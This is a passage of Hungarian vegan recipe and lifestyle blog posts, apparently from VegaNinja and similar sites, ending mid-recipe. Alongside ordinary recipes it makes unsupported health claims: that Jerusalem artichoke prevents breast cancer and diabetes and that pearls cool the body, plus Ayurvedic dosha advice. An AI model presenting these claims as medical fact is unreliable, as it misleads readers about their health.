a reggeliben. Tedd a kedveceim közé 0 The post Zabkása vaníliafagyival, áfonyával – vegán reggeli ötlet appeared first on VegaNinja.
Nyári egészségmegőrzés - tanácsok az ájurvéda segítségével
2019. június 3. Élj harmóniában
Beköszöntött a nyár, tartós meleg, hosszabb nappalok és megnőtt a napsütéses órák száma. Mivel az ember a természet része, ezért a természet változása mindig hatással van ránk. Ahhoz, hogy nyáron is megőrizd testi-lelki egyensúlyod, vedd figyelembe az évszak jellemzőit. Az ájurvéda szempontjából nyáron leginkább a pitta dósa dominál. A szervezeted egyensúlyának fenntartása érdekében, előre érdemes felkészülni, életmódodat úgy alakítani, hogy kompenzálni tudd a pitta dósa dominanciáját. Akik eleve pitta típusok nyáron kiemelt figyelmet érdemes fordítaniuk egészségük megőrzésére. Egyensúlyzavar A pitta egyensúlyzavar kiváltó okai között leginkább a meleg időjárás, a túlterheltség és a sok olajos, fűszeres vagy éppen erjesztett, savanyított étel szerepel. Tünetei: erős éhség és szomjúság, leégés, bőr problémák - pattanások, kiütések, gyulladt bőr - láz, égető érzés, hasmenés, égő szemek, büdös izzadság, gyulladások, hőguta, fekélybetegségek, savtúltengés, gyomorégés és a hőség kifejezetten rosszul tűrése. Magatartásbeli és mentális jellemzők: türelmetlenség, ingerlékenység, erős kritikai hajlam, zsarnoki viselkedés, harag, ellenségeskedés. Mit tehetsz, ha szeretnéd elkerülni a fenti tüneteket vagy akár már tapasztalod magadon, hogy a pitta túlsúlyba került? Az ájurvéda számos tanáccsal szolgál ehhez. Táplálkozás Fogyassz nyáron könnyű és kisebb adag ételeket, ne terheld túl az emésztésed, de étkezz rendszeresen. Kerül a húst, tojást, olajban kisült és nehéz ételeket. Fogyassz sok lédús ételt, leveseket, több zöldséget, gyümölcsöt - cukkinit, uborkát, tökféléket, dinnyét, salátákat, brokkolit, kelbimbót, petrezselymet, zellert. A gabonák közül a baszmati rizs és az árpa a legjobb. Részesítsd előnyben az édes, fanyar és keserű ízeket. Kerüld a sós, savanyú és csípő ételek, mert ezek fokozzák a tüzet a szervezetedben. Ajánlott fűszerek: koriander, görögszéna, édeskömény, kurkuma, sáfrány. Csípős fűszereket, fekete borsot, gyömbért nagyon keveset fogyassz. Az ételeket ghível vagy kókuszzsírral készítsd - a kókuszzsír hűsítő hatású. Érdemes kerülni a cigarettát, a mézet és a hagymaféléket is. Folyadékfogyasztás A megfelelő mennyiségű és minőségű, rendszeres folyadékfogyasztás különösen a nyáron lényeges. Ha keveset iszol, hatással lesz a vérnyomásodra, emésztésedre, ízületeidre és a bőröd állapotára, valamint a fizikai és szellemi teljesítőképességedre. Fáradság, kimerültség, fejfájás, szomjúság, koncentrációzavar léphetnek fel. Ne várd meg ezeket a tüneteket! A folyadékbevitelt tudatosan alakítsd, ne csak akkor igyál, amikor megszomjazol. Fogyassz naponta 2-3 liter folyadékot (nagy melegben akár 4 litert). Elsődlegesen tiszta minőségű vizet (forrásvíz, ásványvíz), gyógyteákat vagy frissen készített gyümölcsleveket igyál. Fogyassz lédús zöldségeket, gyümölcsöket, leveseket, folyékony ételeket. Ideális szomjoltó még a Lassi. Kerüld az üdítőket, dobozos gyümölcsleveket, cukrozott és/vagy koffeines italokat, alkoholt, kávét. Ne igyál hideg italokat se, mert csak erősebben fogsz izzadni. Életmód Mivel a pitta egyensúlyzavarhoz hozzájárul a túl sok tevékenység, ezért figyelj a pihenés és a tevékenységek megfelelő arányára. Kerüld a fizikai és szellemi túlterhelést (tv, hangos zene), a túlhajszoltságot. Alakíts ki rendszeres szokásokat és ne legyen túl szoros a napirended, legyen elegendő szabadidőd. Szánj időt az idegrendszered és a szervezeted pihentetésére - végezz rendszeresen relaxációt és meditálj. Napsütés, környezet Kerüld az erős napfényt, ne tartózkodj sokat a napon. A túl sok napfény csökkenti a belső energiádat és növeli a tüzet a szervezetedben. A hűvös kifejezettem jótékony hatású. Próbálj sok időt tölteni a szabad levegőn, árnyékos, hűvös helyeken. A zsúfolt, forró tengerpartok helyett, ilyenkor jobb a hegyvidéki környezet. Öltözködés Az időjárás ellen megfelelő öltözködéssel is tudsz védekezni. Hordj laza, jól szellőző, kényelmes ruházatot, ami fedi a bőrödet. A ruha természetes anyagból készüljön - pamut, len, selyem. Hölgyeknek kifejezetten érdemes gyöngyöt hordani, mert hűsítő hatású. Bőrápolás Védd a bőröd a leégéstől - elsődlegesen öltözködéssel. Az olajos masszázs is kiváló - a lehető legjobb, ha minden reggel végzel ájurvédikus önmasszázst. A nyári hőségben, pitta alkatúaknak ehhez a legjobb a kókuszolaj, mert hűsíti a testet. Testmozgás Ne terheld túl a szervezeted, kerülj minden megerőltető testmozgást. Amikor a nap erősen süt, ne sportolj - olyankor inkább pihenj. Vegyél példát a meleg éghajlaton élő, sziesztázó népekről. Ha testgyakorlást végzel, akkor a kora reggeli órákban gyakorolj, amikor hűs a levegő. Sétálj reggelente, mert a reggeli napfény gyógyító hatású és életenergiával tölt fel. Kellemes az esti, csillagfényes séta is. Ajánlott testmozgás az úszás és a kirándulás - az erdőben patakok mentén, forrásoknál, völgyekben sokkal hűvösebb van. Amennyiben jógát gyakorolsz, részesítsd előnyben a hűsítő jógapózokat (talaj menti gyakorlatok, előrehajlító pózok). Kerüld a megerőltető pózokat, az álló és a hátrahajlító gyakorlatokat és a dinamikus gyakorlást. Végezz Shitali pránájámát. Csodaszép nyári napokat kívánok :) szeretettel Kati
Alakbarát Kókuszgolyó
Hozzávalók (15-20 db golyó): - 2 db alma héjazott - 8 ek zabpehely finom pelyhű - 1 ek cukrozatlan kakaópor - 6 ek kókuszreszelék - 20 szem meggy - 3 ek rizstej - 3 ek kókuszvirág cukor - 2 evőkanál szűretlen kókuszolaj Az almát lereszeljük, a zabpehelyhez hozzákeverjük a kakaóport és együtt alaposan összekeverjük. A rizstejet felmelegítjük, hozzáadjuk a kókusz virágcukrot és a kókuszolajat, állandó keverés mellett felolvasztjuk a cukrot és hozzáöntjük a zabpelyhes, almás keverékhez. Összegyúrjuk és hagyjuk 30 percet állni, majd nedves kézzel golyókat formázunk, közepükbe beletesszük a kimagozott meggyet és kókuszreszelékbe forgatjuk. Én készítettem olyan verziót is amelyeket csak kakaóporba hempergettem. Ez a verzió nem jött be a gyerekeknek.
Mákos zserbó szilvalekvárral
A legtöbb ember gondolatvilágában a zserbó egyet jelen a dióval és a baracklekvárral töltött finom, csokis tetejű süteménnyel. Már régóta érett bennem a gondolat, hogy mákkal és szilvalekvárral is elkészítve is biztos nagyon finom. Nem tévedtem. Ha valami különlegeset, de mégis megszokottat szeretnél az ünnepi asztalra tenni, kipróbálhatod a mákos zserbót. A baracklekvárt pedig szilvalekvárra cserélve.
A recept
Hozzávalók a tésztához:
- 10 dkg teljes kiőrlésű liszt
- 25 dkg fehér liszt
- fél csomag porélesztő vagy 1 tk instant élesztő
- csipetnyi só
- 1 dl víz
- 1 tk szódabikarbóna
- 20 dkg margarin (vegán)
Hozzávalók a töltelékhez:
- 40 dkg mák megdarálva
- 25 dkg xylit/gyümölcscukor/erithritol (ki milyen édesítést használ cukor helyett)
- 70 dkg szilvalekvár (egy nagyobb vagy 1,5 kisebb üveg lekvár)
Csokibevonó:
1. verzió:
- 20 dkg tortabevonó (vegán)
- 1-2 ek. olaj
2. verzió:
- 10 dkg kókuszzsír
- 2 ek kakaópor/karobpor
- 1 ek xylit/gyümölcscukor/erithritol (ki milyen édesítést használ cukor helyett)
Elkészítés:
A margarint vegyük ki a hűtőből és tegyük olyan helyre egy tálkába, ahol megpuhul. A kétfajta lisztet összekeverjük egy tálban, majd hozzákeverjük a csipetnyi sót, a porélesztőt és a szódabikarbónát. A puha margarint beleszeleteljük a lisztbe, majd a kezünkkel összedolgozzuk és adunk hozzá 1 dl vizet, hogy az egész egy gombóccá összeálljon. Ha ragacsos tészta, gyúrás közben még szórhatunk hozzá kevés lisztet. Ha nem akar összeállni egy egésszé, akkor pedig vizet csepegetetünk hozzá.
Liszttel megszórt gyúródeszkán vagy munkalapon átdolgozzuk, átgyúrjuk a két kezünkkel. Egy henger alakú formát sodrunk a tésztából, majd három egyenlő részre vágjuk. Először az egyik részt sodrófával téglalap alakúra formáljuk. Közel akkorára, mint a tepsi, amibe helyezni fogjuk. A tepsibe sütőpapírt teszünk. A kinyújtott tésztát úgy a legkönnyebb a tepsibe tenni, ha feltekerjük a sodrófára és a sodrófáról letekerve helyezzük bele a tepsibe.
A tésztát eligazítjuk, a tepsi oldalára jutó részt levágjuk, majd alaposan megkenjük szilvalekvárral. A porhanyósra darált mákot összekeverjük az édesítővel, majd a mák felével megszórjuk a lekvár tetejét. Jöhet rá a következő tésztalap. Téglalap alakúra nyújtva, a sodrófa segítségével a lekváros mákos réteg tetejére tesszük, eligazítjuk, ha a tepsi oldalára jutna tészta, levágjuk. Ezt a maradék tésztát hozzágyúrjuk a következő, egyben utolsó tésztához és hasonlóan a szilvalekvárra mákot szórunk, majd befedjük a tésztával.
A tésztát szépen eligazítjuk, a szélét az ujjaninkkal benyomkodjuk. Az utolsó szint a tészta kell, hogy legyen, amit megszurkálunk villával, majd egy órát hűvős helyen pihentetjük. Előmelegített sütőben 180 fokon kb. 35 perc alatt készre sütjük.
Amig sül, elkészítjük a csokimázat.
1. verzió:
Vizgőz felett felolvasztjuk a csokit és hozzákeverünk 1-2 ek. olajat. Addig kevergetjük, míg teljesen elegyedik.
2. verzió:
Vizgőz felett felolvasztjuk a kókuszzsírt és hozzákeverjük a karob vagy kakaóport és az édesítőszert. (Akár Agavé szirupot is használhatunk).
Ez követően a megsült, lehűlt sütemény tetejére öntjük a csokiszószt és egyenletesen elkenjük. Érdemes a csoki megdermedése előtt felvágni, de nem kiszeletelni. Ezt követően hűtőbe tesszük és amikor a csoki megdermedt teljesen a tetején, könnyebb lesz a szeleteket a tepsiből kiemelni.
Tehát a tepsibe helyezés lépései: tészta, lekvár, mák, tészta, lekvár, mák, tészta, tűvel szurkálni, pihentetni, sütni, kihülés után csokimáz/karobmáz.
Bécsi túrós palacsinta (vegán)
Hallottál már 3 tonna nehézségű palacsintáról? Azt gondolod, csak mese? Hát nem. 1994-ben a manchesteri Rochdale-ben sütötték meg a világ eddigi legnagyobb és legnehezebb palacsintáját. Vastagsága 2,5 cm, átmérője pedig 15,01 méter volt és 3 tonnát nyomott. Nem vállalkoztam ennek a közelébe sem jutni, de már régóta ettem volna tepsiben sült túrós palacsintát, persze nem igazi túróval. Korábban már készítettem kölesből túrókrémet, éppen itt volt az ideje, hogy a palacsintát így készítsem el.
http://www.guinnessworldrecords.com/world-records/68403-largest-pancake
Hozzávalók a krémtúróhoz:
- 1 bögre köles
- víz
- növényi tej
- édesítő (nyírfacukor, gyümölcscukor, stb.)
- vanília
- citrom
Hozzávalók a palacsintához:
- 1 csésze teljes kiőrlésű liszt
- 1 csésze fehér liszt
- 1 csésze zabpehely liszt (vagy őrölt zabpehely)
- víz
- 1 csipet só
- víz
- 5 dl növényi joghurt
- vanília
- édesítő
Elkészítés:
A kölest alaposan átmossuk, majd kb. háromszoros mennyiségű vízben feltesszük főzni. Mikor már elfőtt a víz, öntünk hozzá annyi növényi tejet, amennyi éppen ellepi és tovább főzzük. Időközben hozzáadjuk a nyírfacukort. A citromot alaposan megmossuk, héját belereszeljük, ha úgy érezzük, hogy nem elég citromos, akkor a citromból még facsarhatunk bele. A vaníliát kikaparjuk, szintén hozzáadjuk. Addig főzzük, míg jó krémtúrós-pépes állaga nem lesz. Ha nem pépes lesz, akkor sütés alatt kiszáradhat, tehát érdemes növényi tejet úgy adni hozzá, hogy ne csak köles legyen. Ízérzéke mindenkinek más és más, ki édesebben, ki citromosabban szereti. (Kép itt található a köleses krémtúróról.)
A palacsintához a száraz hozzávalókat összekeverjük egy tálban, majd folyamatos keverés közben hozzáöntjük a vizet. A zabpehely liszt segíti a tésztát abban, amiben máskülönben a tojás. Amikor összekeverjük, elvileg palacsintaszerű tésztát kell kapjunk. Ha túl sűrű, vízzel hígíthatjuk. Ha túl folyós, keverjünk hozzá még egy kevés lisztet.
A palacsinta sütőnket - remélhetőleg teflon bevonatú vagy valamilyen más, amiben nem tapad oda - felmelegítjük. A legelső sütéshez a biztonság kedvéért tehetünk bele icipici kókuszzsírt. A továbbiakhoz én egyáltalán nem használtam semmilyen olajat vagy zsírt. De ehhez szükséges, hogy tapadásmentes bevonatú sütővel dolgozzunk.
Miután kisültek a palacsinták, megtöltjük őket, feltekerjük, félbevágjuk. Egy hőálló edényt kikenünk egy kis kókusz zsírral és a félbevágott palacsintákat állítva beletesszük. Kb. 3-5 dl növényi joghurtot kikeverünk egy kis édesítővel, hozzátehetünk egy kevés vaniliát, és ezzel a palacsinták tetejét jól megkenjük.
Sütőbe tesszük és aranybarnára sütjük. Melegen tálaljuk. Meleg vaniliasodót, vagy savanykás lekvárt is tehetünk az asztalra tálaláskor. Mindkettővel nagyon finom.
Gombafasírt recept – vegán burgerben vagy krumplival (gluténmentes)
Ez az isteni gombafasírt simán megállja a helyét bármilyen burgerben, vegán, gluténmentes, ha sütőben sütöd, olajmentes is, és mégis nagy sikere van a karnisták (mindenevők) között is, és nem kell hozzá speciális alapanyag. Hozzávalók: 500 g csiperke gomba 2 nagy fej hagyma kb. egy bögrényi finomszemű zabpehely 1 lapos evőkanál natúr ételízesítő 2 gerezd fokhagyma 1 teáskanál pirospaprika 1 kávéskanál bors 1 kávéskanál kömény 1 kávéskanál szerecsendió 1 teáskanál füstölt paprika 1 evőkanál mustár só kókuszolaj vagy sütőpapír a sütéshez A hagymát karikákra vágjuk és egy mokkáskanálnyi sóval meghintve, kevés vízzel, lefedve és alacsony lángon üvegesre pároljuk. Hozzáadjuk a megmosott, felszeletelt gombát, és hozzá nyomjuk foghagymanyomóval a fokhagymát, hozzáadjuk a mustárt, a pirospaprikát, ételízesítőt, fűszereket, és lefedve tovább pároljuk. Kb. 10-15 perc múlva, mikor a gomba is megpárolódott, levesszük a tűzről, és botmixerrel elkezdjük megdolgozni. Nem kell krémesre, lehet kicsit darabos a textúrája. Ha műanyag fejű botmixered van, várd ki, amíg kihűl, mert a műanyag nem bírja a forrót! Ekkor hozzáadunk egy dl vizet, és annyi zabpelyhet, amitől enyhén ragadós masszát kapunk. Állni hagyjuk 5-10 percet, hogy a zabpehely magába szívja a vizet, ekkor már könnyen formázhatónak kell lennie. Ha túl száraz, akkor vizezzük, ha túl ragacsos, akkor zabpelyhet adunk hozzá. Ez után már nem szükséges botmixerezni. Kóstolás alapján tovább sózzuk és/vagy fűszerezzük, majd a további felhasználás szerint tenyérnyi hamburgerpogácsákat, vagy kis aranyos fasírtokat formázunk belőlük. Én nem szeretek bő olajban sütni, ezért forró serpenyőben, 1 teáskanál kókuszolajjal sütöm meg őket leggyakrabban. Szép barnára kell sütni mindkét oldalukat. Sütőben, sütőpapírral bélelt tepsiben is megsüthetjük. Közepes-nagy lángon 20 perc alatt elkészül. The post Gombafasírt recept – vegán burgerben vagy krumplival (gluténmentes) appeared first on VegaNinja.
Peanut butter jelly szendvics – mi ez, és hogyan készítsünk hozzá mogyoróvajat házilag, földimogyoróból? – Vegán recept
Az amerikai kultúrában gyakran emlegetik (és eszik) a PB&J-t, azaz a peanut butter jelly sandwichet. Ezt nyomják reggelire, ezt csomagolják a gyereknek uzsonnára, és ha csak úgy megéheznek, nasinak is megteszi. Angolul tudók már kitalálhatták, hogy mogyoróvaj és dzsem vagy lekvár kerül a két szelet kenyér közé, vagy a szelet kenyér tetejére. Elég tömény, a mogyoróvajnak igen magas az olajtartalma, a lekvárok pedig cukrosak, de szerintem még így sem feltétlen haladja meg a zsír- és cukortartalma az átlagos, magyar sajtos-kecsapos szendvicsét, és mivel állati eredetű anyagoktól mentes, azoknak a káros hatását is elkerüljük. Aki a könnyedebb, de tápláló reggeliket kedveli, annak a zabkása recepteket ajánlom. A mogyoróvajas-lekváros szendvics elkészítését nem nagyon kell magyaráznom, de talán a beszerzési helyekről érdemes beszélni. Lekvár vásárlásánál a legfontosabb, hogy olyat vegyünk, ami zselatintól és kárminoktól mentes. A zselatin állati csontokból és melléktermékekből készül, a kármin pedig összezúzott bíbortetvekből. Mogyoróvaj (és földimogyoró) vásárláskor arra figyeljünk, hogy igyekezzünk pálmaolajmentes termékeket választani (ez elég nehéz). A közepes- és nagyáruházakban, kínai vegyesboltokban, bioboltokban és sok más helyen kapható, van smooth és crunchy verziója. A smooth teljesen sima állagú, mint egy mogyorókrém (de nem olyan édes, és nem kakaós, hanem földimogyoró ízű), a crunchyban pedig mogyoródarabok vannak. A kenyérválasztásról hamarosan írok egy következő cikkben. Hogyan készítsünk házilag mogyoróvajat: Hozzávalók: 200 g földimogyoró (lehetőleg sótlan, pálmaolajmentes, pl. Naturfood) 1 kávéskanál só 1 teáskanál cukor (én gyümölcscukrot használok) 1-2 evőkanál kókuszolaj olvasztva (vagy más olaj) A mogyoró felét és a többi összetevőt egy magas falú edénybe tesszük, és botmixerrel elkezdjük eldolgozni. Mikor már krémes, szép lassan adagoljuk hozzá a többi mogyorót, és krémesítsük annyira, amennyire szeretnénk, vagy amennyire a botmixerünk bírja. Tippek: Az olajos magvak megterhelik a botmixert, úgyhogy vigyázzunk, hogy ne melegedjen túl, és egy perc mixelés után pihentessük kicsit. Sózott mogyoróval is dolgozhatunk, a mogyik feléről mossuk le a sót, majd várjuk meg, hogy kicsit megszáradjanak. Utána kóstolgassuk, és ízlés szerint adjunk hozzá sót, ha szükséges. Ha a mogyorónk nincs pirítva, száraz serpenyőben, folyamatosan kevergetve-rázogatva megpiríthatjuk őket az extra íz érdekében. A forró mogyorókkal azonban várjunk, mert megolvaszthatják a műanyag botmixert vagy mixelőedényt. The post Peanut butter jelly szendvics – mi ez, és hogyan készítsünk hozzá mogyoróvajat házilag, földimogyoróból? – Vegán recept appeared first on VegaNinja.
Zablisztben rántott, fűszeres apró csiperke – gluténmentes, vegán recept
El kellett fogynia a gombának a hűtőből, szóval én a rakott cukkini mellé készítettem el az itt következő gyors és egyszerűreceptet. Hozzávalók: aprószemű csiperke gomba só fűszerek zabpehelyliszt kókuszolaj vagy más növényi olaj Természetesen lehet nagyobb szemű gombából is készíteni, akár egészben hagyva, akár negyedelve. Ezek ilyen kis falatnyi csiperkék voltak, pont kellemes. Jó alaposan meg kell mosni a gombát, majd valamennyire lecsöpögtetni, de maradjon nedves a felszíne. Ha van kedvenc fűszerkeveréked, azzal szórd be, és kézzel forgasd össze, hogy mindenhol egyenletesen sós és fűszeres legyen. Ha nincs kedvenc keveréket, használhatsz pl. só, gyömbér, fokhagymagranulátum, rozmaring és bors keverékét. Ha valamelyik összetevőt nem szereted, nyilván kihagyhatod. Ez után a zablisztet kis adagokban szórd rá, közben folyamatosan rázogatva. Itt már ne nyúlj hozzá kézzel, mert lejön róla a zabos massza, és a kezedre tapad. Addig szórd a zabpehelylisztet és rázogasd a gombákat, amíg egy nagyjából összefüggő kis réteg “bunda” nem lesz rajtuk. Egy serpenyőben tegyél fel kb. egy ujjnyi kókuszolajat melegedni a tűzre, nagy lángra. Ha nagyobbak a gombák, akkor magasabb olajszint szükséges, kb. félig lepje el a gombákat majd. Mikor már forrónak tűnik, dobj bele egy fej gombát, és ha sistereg, mehet a többi is mellé. Ha nem sistereg, várd ki, amíg el nem kezdi. Ekkor melléöntheted lassan a többi gombát, de csak annyit, hogy egymás mellett elférjenek, ne legyenek egymás tetején. Én véletlenül hozzá szórtam egy kevés zablisztet is a rázogatós tálból, ami végül nagyon jól sült el, mert szuperül rátapadt a gombafejekre. Süsd aranybarnára őket, fordítsd meg, és a másik oldalukat is süsd át. Szedd ki őket konyhai papírtörlőre (vagy ennek a környezetbarát verziójára). TIPPEK: A megmaradt kókuszolajból, amiben a gombát kisütötted, csinálhatsz pl. vegán pecsenyezsírt. Ha ennél hagyományosabb rántott gombát szeretnél, próbáld ki a csicseriborsós bundát! Ez a recept hagymakarikára vonatkozik, de bármilyen zöldséget ugyanúgy kell kirántani. A kép jobb felső sarkában a rakott cukkinit látod, aminek a receptje itt van. The post Zablisztben rántott, fűszeres apró csiperke – gluténmentes, vegán recept appeared first on VegaNinja.
Gluténmentes vaníliás keksz
2018. december 22. Élj harmóniában
Az én egyik kedvenc műfajom a keksz. Kislány korom óta imádom a ropogós sós és édes kekszeket. Nagyon szeretek a konyhában újabb keksz recepteket kikísérletezni - ez is ilyen fejlesztett recept. A cél az volt, hogy egy nagyon egyszerű gluténmentes, tojásmentes kekszet készítsek. Jómagam szeretem a hajdinát, mert nem csak ízletes, de nagyon egészséges is. S zívesen készítek hajdinalisztes ételeket, mert nagyon jó süteményekhez. Ha gluténemntes ételekről van szó, nagyon nem kedvelem a mindenféle lisztkeverékeket, gyárilag előre akár adalékanyagokkal elkészített vegyes csomagokat - bevallom én még soha nem vettem ilyesmit. Érdemes otthon többféle gluténmentes lisztet tartanod (hajdina, rizs, kukorica, amaránt, kókusz, quinoa, etc) sütőport, esetleg kukoricakeményítőt és azokból készíteni a finomságokat:) Gluténmentes vaníliás keksz Hozzávalók 10 dkg hajdinaliszt 30 g nádcukor 30 g vaj 1 csipet sütőpor vanília egy kevés tejföl Vegyszermentes (bio) alapanyagokat használj A száraz hozzávalókat keverd össze egy tálba, majd morzsold el a vajat és tegyél hozzá tejfölt. Gyúrj linzerszerű tésztát - annyi tejfölt tegyél bele, hogy jól gyúrható tésztát kapj. A tésztát nyújtsd ki és szaggass belőle kekszformákat. A kekszeket helyezd sütőpapírral bélelt tepsire és 180-200 C fokon kb. 10 percig süsd, amíg picit aranybarna nem lesz. Amennyiben nagyon édesszájú a csapat, növeld meg picit a cukor mennyiségét:) Jó étvágyat hozzá:) szeretettel KAti
Csőben sült csicsóka (vegán)
Mindezidáig csak próbáltam szeretni a csicsókát, mert tudtam, az egészség szempontjából értékes gumó, mivel magnéziumot, kalciumot, káliumot, foszfort, B1-, B2-, és C-vitamint tartalmaz. Ásványianyag-tartalmának köszönhetően segít megelőzni a szív- és érrendszeri megbetegedések, a mellrák, az elhízás és a cukorbetegség kialakulásának kockázatát. Legnagyobb részben inulint tartalmaz, mely támogatja a máj, a lép és a hasnyálmirigy működését. Mivel feldolgozásához a szervezetnek nem kell inzulin termelnie, így a cukorbetegek egyik hasznos és kedvelt alapanyaga lehet. Az inulinnak rákellenes hatása is ismert, ezért fogyasztása mindenkinek ajánlott. Rosttartalma gátolja a hizlaló tápanyagok felszívódását a szervezetbe, ezért diéta idejére is ajánlott. (forrás Hazipatika.com)
Hiába ilyen értékes, ha legtöbbször puffadás követte a csicsóka fogyasztását. Pedig ettem nyersen, salátába keverve, készítettem belőle krémlevest is. Mostanáig tehát inkább csak ismerkedtem vele. Ez az étel azonban megváltoztatta a csicsókához való viszonyomat, mert naggggyon finom lett és nem puffadtunk tőle.
A recept
Hozzávalók:
- 1 kg csicsóka
- kurkuma
- só
- 4 dl növényi tej
- fokhagyma (opcionális)
- petrezselyem
- 1 ek sárgaborsó liszt
- 2 ek étkezési keményítő
- kókusz zsír
- vegán sajt (opcionális, én most nélküle készítettem)
- ételízesítő
Elkészítés:
A csicsókát vagy alaposan átdörzsöljük dörzsölővel, vagy megpucoljuk, karikákra vágjuk és kevés sós vízzel, fedő alatt megpároljuk. Egy nagyobb bögrében összekeverjük a sárgaborsó lisztet, és a keményítőt, majd kb. a növényi tej felével csomómentesre keverjük és lassan adagoljuk hozzá maradék növényi tejet, egy-két csipetnyi kurkumát és kb. 1 teáskanálnyi ételízesítőt.
Egy tűzálló tálat kókusz zsírral kikenünk majd a megfőtt csicsókakarikákat szépen elrendezzük. Rálocsoljuk a lisztes-keményítős növényi tejet, ha szeretnénk fokhagyma darabokat, karikákat szórunk a tetejére, majd mehet a sütőbe, ahol 180 fokon aranybarnára sütjük. Ha szeretnénk, reszelt sajtot szórhatunk a tetejére a sütés utolsó 5 percébe. Tálalás előtt apróra vágott petrezselyemmel lágyan megszórjuk.
Egyszerű vegán karácsonyi sütemény
2018. december 13. Élj harmóniában
Itt a karácsonyi időszak... ilyenkor a legtöbb háztartásban már nézegetik a sütemény recepteket, tervezik az ebédeket, vacsorákat... Azt tudjátok rólam, hogy nem szeretek órákat állni a konyhában és pepecselni,de szeretem a finom és minőségi ételeket:) A mai recept egy gyorsan, egyszerűen elkészíthető Karácsonyi hangulatot árasztó süteményem receptje. Ezt a sütit a Gyertyafényes Karácsonyi Jógagyakorlásra készítettem a jógásainknak, elég nagy sikere volt:) Hozzávalók 2 bögre teljes kiőrlésű tönkölybúzaliszt 2 bögre fehér tönkölybúzaliszt 1 bögre teljes értékű barna nádcukor 1 csomag sütőpor 2/3 bögre kókuszzsír 1 tk. szódabikarbóna vanília (vagy vaníliás cukor) fahéj csipet reszelt szegfűszeg 3 közepes alma 2 narancs 1 citrom 3 marék dió 1 bögre víz mazsola (elhagyható) Vegyszermentes (bio) alapanyagokat használj:) Az előkészítéshez mosd meg a gyümölcsöket és az almákat pucold is meg. 1 almának vedd ki a magházát és vágd cikkekre, a többit reszeld le. A narancsnak reszeld le a héját és a levét nyomd ki. A citrom héját is reszeld le. A diót aprítsd darabokra - én kézzel szoktam ezt csinálni - egy maréknyit tegyél félre belőle a díszítéshez. A liszteket, sütőport, szódabikarbónát, cukrot és a fűszereket keverd össze egy tálba. Keverd hozzá a narancs és citrom héjat is. Majd egy másik tálba keverd össze a narancslevet, egy pici citromlével, a vízzel és a kókuszzsírral. Figyelj rá, hogy a kókuszzsír folyékony állagú legyen - ha lemerevedett a kókuszzsír én meleg vízzel szoktam összevegyíteni, hogy felolvadjon és azt a vizet öntöm a tésztához. Keverd össze a száraz és nedves hozzávalókat, majd tedd hozzá a reszelt almát, a diót és ha szeretnél mazsolát rakni bele azt is. Az egészet finoman keverd el - figyeld a tészta állagát, mert attól függ mennyi leve volt a narancsnak, lehet több vagy kevesebb víz kell majd. A masszát öntsd bele egy kikókuszzsírozott, lisztezett tepsibe. A tetejére helyezd el az almaszeleteket és a félretett diódarabokat. 180 fokon süsd addig, amíg jók átsül és szép arany színe lesz. (kb 30 perc) Jó étvágyat hozzá:) szeretettel Kati
Ünnepi fatörzs (vegán)
Kimondottan ünnepi édesség, amelynek eredeti neve "Yule log". A log szót először számítástechnikában ismertem meg (még IRC-es időszakomban), ez esetben azonban egészen mást jelent: fatörzs, fahasáb, farönk. A yule szó hozza leginkább közelebb az ünnepihez ezt a desszertet, mivel ez a szó a Nap visszatérésének ünnepét jelöli. Az éjszakák most, decemberben a leghosszabbak. A hosszú sötét téli éjszakákon mindent elrejt a jég, a hó. A napfordulótól kezdve azonban egyre hosszabbodnak a nappalok. A fény újjászületik, napról napra er?södik. A fény és a sötétség közti örök harcban ismét a világosság kerekedik fölül. Az északi népeknél a Yuletide, tizenkét éjszakán át tart (dec. 20. - december 31.). Ez az időszak reperezentálja az óév elmúlását, valamint az új esztend?re való készülődést.
Mégis miért fatörzs a neve, honnan ered a szokás, hogy karácsony tájékán fatörzset sütnek (napjainkban már inkább csak vesznek) a háziasszonyok? A szokás a középkorra vezethető vissza, az északi népeknél elterjedt hagyomány "hozza" karácsony környékén tányérunkra a fatörzs szeletet. A "yule log" eredetileg egy gondosan kiválasztott egész, nagy darab fa volt, amit ünnepi szertartás közepette hoztak a házba. A legnagyobb végét a tűz szívébe helyezték. A fa további részeivel táplálták a tüzet a karácsony 12 napján keresztül. Csak tiszta kézzel szabadott meggyújtani. Ünnepként élték meg ezt a hagyományt, mert a tűz nem csak meleget, de világosságot is adott a házban lakók számára. Ez az ünnepi tradició első napján a "Tizenkét éjszaka" nevü süteményt fogyasztották. Ahogy a modernizáció által a fűtési lehetőségek is korszerűsödtek, a teljes, nagy fából már csak az ünnepi asztalt díszítő fatörzs maradt meg napjainkra.
A piskótatekercs receptje
Hozzávalók:
- 17 dkg fehér liszt
- 8 dkg teljes kiőrlésű liszt
- 3-4 evőkanál nyírfacukor
- 2-3 evőkanál kakaópor (vagy karobpor)
- 14 evőkanál növényi tej
- 2 evőkanál étolaj
- 1 kisebb citrom kifacsart leve
- 1/2 teáskanál szódabikarbóna
Elkészítés:
Fogunk egy tálat, összekeverjük benne először a száraz hozzávalókat, majd hozzákanalazzuk a növényi tejet és étolajat és hozzáadjuk a citrom levét. Csomómentesre keverjük majd egy sütőpapírral bélelt tepsibe öntjük. Előmelegített sütőben kb. 20 percig sütjük. Tűpróbával ellenőrizzük, ha beleszúrjuk a piskóta közepébe, és nem ragad rá, megsült a piskótánk. Ezt követően kivesszük és egy enyhén nedves konyharuhával (ne csöpögjön belőle a víz, éppe csak picit legyen nedves), felcsavarjuk a tésztát. A konyharuhát a tiszta pultra tesszük, arra fektetjük a kisült tésztát (nem baj, ha a sütőpapír rajta van) és így pihentetjük, amig ki nem hül. Ne nyomogassuk, mert a tészta megtörhet.
Ha kihűlt, óvatosan leszedjük róla a papírt és először belül töltjük meg az avokádós csokikrémmel, majd felcsavarjuk és kívülről is megkenjük vele. A legvégén a villát végighúzkodva mintázatot teszünk a rákent csokikrémre és így pihentetjük a hütőben pár órát vagy egy éjszakát. A tetejét tetszés szerint dekoráljuk, én kókusz csipszet szórtam rá.
A csokikrém receptje
Hozzávalók:
- 2 db érett nagy avokádó héj nélkül
- 7 dkg kakaópor (kevesebb karobbal is készíthető!)
- 6 dkg kókuszolaj
- 10 dkg édesítőszer, pl: nádcukor, nyírfacukor, áztatott datolyából szósz, stb, ki mit használ
- 1 csipet tengeri só
- 1/2 vanília kikapart belseje vagy 1 teáskanál vanília esszencia
Elkészítés:
